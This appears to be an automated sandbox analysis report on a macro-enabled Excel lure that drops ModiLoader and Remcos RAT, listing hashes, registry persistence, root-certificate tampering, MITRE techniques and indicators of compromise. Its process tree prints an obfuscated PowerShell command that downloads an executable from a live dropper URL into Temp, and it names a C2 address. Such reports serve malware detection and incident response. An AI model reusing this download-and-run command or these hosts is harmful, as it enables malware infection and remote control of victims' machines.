modiloader | cc52b8f39a31d7372f7c3d76e386fa20f830b530dec05ce67229e4abf33c92d9

General

Target

Order No-202000125.xlsm
Size

410KB
MD5

2c71ebde60e06f76a2ccc831400f24b7
SHA1

7d7294586a74052bce542ba4cd1fb3eeb2ea08a3
SHA256

cc52b8f39a31d7372f7c3d76e386fa20f830b530dec05ce67229e4abf33c92d9
SHA512

ec36d40a564d98c77a198eed1ab1d0fae309e19800fa00a9f50fdfab6b393bca804c71ca97ce2354c47e707a7d0d84429e280ddb4c0a93730c4f953331b31f87

Score

10^/10

modiloader remcos persistence rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://winsfgt.com/php/u.exe

Extracted

Family

remcos

C2

79.134.225.19:2556

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1384	792	cmd.exe	EXCEL.EXE

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

ModiLoader First Stage 4 IoCs

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\bFPTx.bat	modiloader_stage1
C:\Users\Admin\AppData\Local\Temp\bFPTx.bat	modiloader_stage1
C:\Users\Admin\AppData\Local\Temp\bFPTx.bat	modiloader_stage1
\Users\Admin\AppData\Local\Temp\bFPTx.bat	modiloader_stage1

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 1716 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

bFPTx.bat

pid process

604 bFPTx.bat
Loads dropped DLL 2 IoCs

Processes:

EXCEL.EXE

pid process

792 EXCEL.EXE
792 EXCEL.EXE

flow	pid	process
7	1716	powershell.exe

pid	process
604	bFPTx.bat

pid	process
792	EXCEL.EXE
792	EXCEL.EXE

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

bFPTx.bat

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\Yqjbm = "C:\\Users\\Admin\\mbjqY.url"	bFPTx.bat

Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEbFPTx.bat

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	bFPTx.bat
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

bFPTx.bat

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	bFPTx.bat
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	bFPTx.bat

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

792 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1716 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1716 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

792 EXCEL.EXE
792 EXCEL.EXE
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

EXCEL.EXEbFPTx.bat

pid process

792 EXCEL.EXE
792 EXCEL.EXE
792 EXCEL.EXE
604 bFPTx.bat
604 bFPTx.bat

pid	process
792	EXCEL.EXE

pid	process
1716	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1716	powershell.exe

pid	process
792	EXCEL.EXE
792	EXCEL.EXE

pid	process
792	EXCEL.EXE
792	EXCEL.EXE
792	EXCEL.EXE
604	bFPTx.bat
604	bFPTx.bat

Suspicious use of WriteProcessMemory 31 IoCs

Processes:

EXCEL.EXEcmd.exebFPTx.bat

description	pid	process	target process
PID 792 wrote to memory of 1384	792	EXCEL.EXE	cmd.exe
PID 792 wrote to memory of 1384	792	EXCEL.EXE	cmd.exe
PID 792 wrote to memory of 1384	792	EXCEL.EXE	cmd.exe
PID 792 wrote to memory of 1384	792	EXCEL.EXE	cmd.exe
PID 1384 wrote to memory of 1716	1384	cmd.exe	powershell.exe
PID 1384 wrote to memory of 1716	1384	cmd.exe	powershell.exe
PID 1384 wrote to memory of 1716	1384	cmd.exe	powershell.exe
PID 1384 wrote to memory of 1716	1384	cmd.exe	powershell.exe
PID 792 wrote to memory of 604	792	EXCEL.EXE	bFPTx.bat
PID 792 wrote to memory of 604	792	EXCEL.EXE	bFPTx.bat
PID 792 wrote to memory of 604	792	EXCEL.EXE	bFPTx.bat
PID 792 wrote to memory of 604	792	EXCEL.EXE	bFPTx.bat
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe
PID 604 wrote to memory of 584	604	bFPTx.bat	ieinstal.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Order No-202000125.xlsm"
1⤵
- Loads dropped DLL
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:792

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c start p^owersh^el^l -w 1 (New-Object Net.WebClient).DownloadFile('http://winsfgt.com/php/u.exe',($env:Temp)+'\bFPTx.bat')
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1384

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 (New-Object Net.WebClient).DownloadFile('http://winsfgt.com/php/u.exe',($env:Temp)+'\bFPTx.bat')
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1716

C:\Users\Admin\AppData\Local\Temp\bFPTx.bat
C:\Users\Admin\AppData\Local\Temp\bFPTx.bat
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:604

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe"
3⤵
PID:584

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

3

T1112

Install Root Certificate

1

T1130

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\bFPTx.bat
MD5
1982963b64d323f39033d40641437595

SHA1
8dde953e501af236d8be98dbf6d683fda458ba38

SHA256
60119cfc3cd6b63295c163fad7ab43949d62d5ed6bb024cd3054a2c64e8339c7

SHA512
75481182ea78ca9e6ee9022db2e2cfb869419a779e37e149d8c70da3e3f8132dcffcb53a368311bd7dfbe13dab1ee2eae7846aefd361848a375f91d4f61e31b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\bFPTx.bat
MD5
1982963b64d323f39033d40641437595

SHA1
8dde953e501af236d8be98dbf6d683fda458ba38

SHA256
60119cfc3cd6b63295c163fad7ab43949d62d5ed6bb024cd3054a2c64e8339c7

SHA512
75481182ea78ca9e6ee9022db2e2cfb869419a779e37e149d8c70da3e3f8132dcffcb53a368311bd7dfbe13dab1ee2eae7846aefd361848a375f91d4f61e31b1

Download Submit
\Users\Admin\AppData\Local\Temp\bFPTx.bat
MD5
1982963b64d323f39033d40641437595

SHA1
8dde953e501af236d8be98dbf6d683fda458ba38

SHA256
60119cfc3cd6b63295c163fad7ab43949d62d5ed6bb024cd3054a2c64e8339c7

SHA512
75481182ea78ca9e6ee9022db2e2cfb869419a779e37e149d8c70da3e3f8132dcffcb53a368311bd7dfbe13dab1ee2eae7846aefd361848a375f91d4f61e31b1

Download Submit
\Users\Admin\AppData\Local\Temp\bFPTx.bat
MD5
1982963b64d323f39033d40641437595

SHA1
8dde953e501af236d8be98dbf6d683fda458ba38

SHA256
60119cfc3cd6b63295c163fad7ab43949d62d5ed6bb024cd3054a2c64e8339c7

SHA512
75481182ea78ca9e6ee9022db2e2cfb869419a779e37e149d8c70da3e3f8132dcffcb53a368311bd7dfbe13dab1ee2eae7846aefd361848a375f91d4f61e31b1

Download Submit
memory/584-50-0x0000000010540000-0x0000000010564000-memory.dmp

Filesize
144KB

Download
memory/584-51-0x00000000001D0000-0x00000000001F1000-memory.dmp

Filesize
132KB

Download
memory/584-45-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/584-43-0x00000000000D0000-0x00000000000D1000-memory.dmp

Filesize
4KB

Download
memory/584-42-0x0000000000000000-mapping.dmp

Download
memory/584-41-0x0000000000090000-0x0000000000091000-memory.dmp

Filesize
4KB

Download
memory/604-40-0x00000000002A0000-0x00000000002A1000-memory.dmp

Filesize
4KB

Download
memory/604-36-0x0000000000000000-mapping.dmp

Download
memory/792-2-0x000000002F071000-0x000000002F074000-memory.dmp

Filesize
12KB

Download
memory/792-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/792-3-0x00000000715E1000-0x00000000715E3000-memory.dmp

Filesize
8KB

Download
memory/1384-5-0x0000000000000000-mapping.dmp

Download
memory/1716-24-0x00000000065B0000-0x00000000065B1000-memory.dmp

Filesize
4KB

Download
memory/1716-12-0x0000000004850000-0x0000000004851000-memory.dmp

Filesize
4KB

Download
memory/1716-32-0x0000000006640000-0x0000000006641000-memory.dmp

Filesize
4KB

Download
memory/1716-23-0x0000000006120000-0x0000000006121000-memory.dmp

Filesize
4KB

Download
memory/1716-22-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1716-17-0x00000000060E0000-0x00000000060E1000-memory.dmp

Filesize
4KB

Download
memory/1716-14-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1716-31-0x00000000062E0000-0x00000000062E1000-memory.dmp

Filesize
4KB

Download
memory/1716-6-0x0000000000000000-mapping.dmp

Download
memory/1716-13-0x0000000004852000-0x0000000004853000-memory.dmp

Filesize
4KB

Download
memory/1716-11-0x0000000002540000-0x0000000002541000-memory.dmp

Filesize
4KB

Download
memory/1716-10-0x0000000004890000-0x0000000004891000-memory.dmp

Filesize
4KB

Download
memory/1716-9-0x0000000000980000-0x0000000000981000-memory.dmp

Filesize
4KB

Download
memory/1716-8-0x000000006C190000-0x000000006C87E000-memory.dmp

Filesize
6.9MB

Download
memory/1716-7-0x00000000765E1000-0x00000000765E3000-memory.dmp

Filesize
8KB

Download
memory/1772-39-0x000007FEF7730000-0x000007FEF79AA000-memory.dmp

Filesize
2.5MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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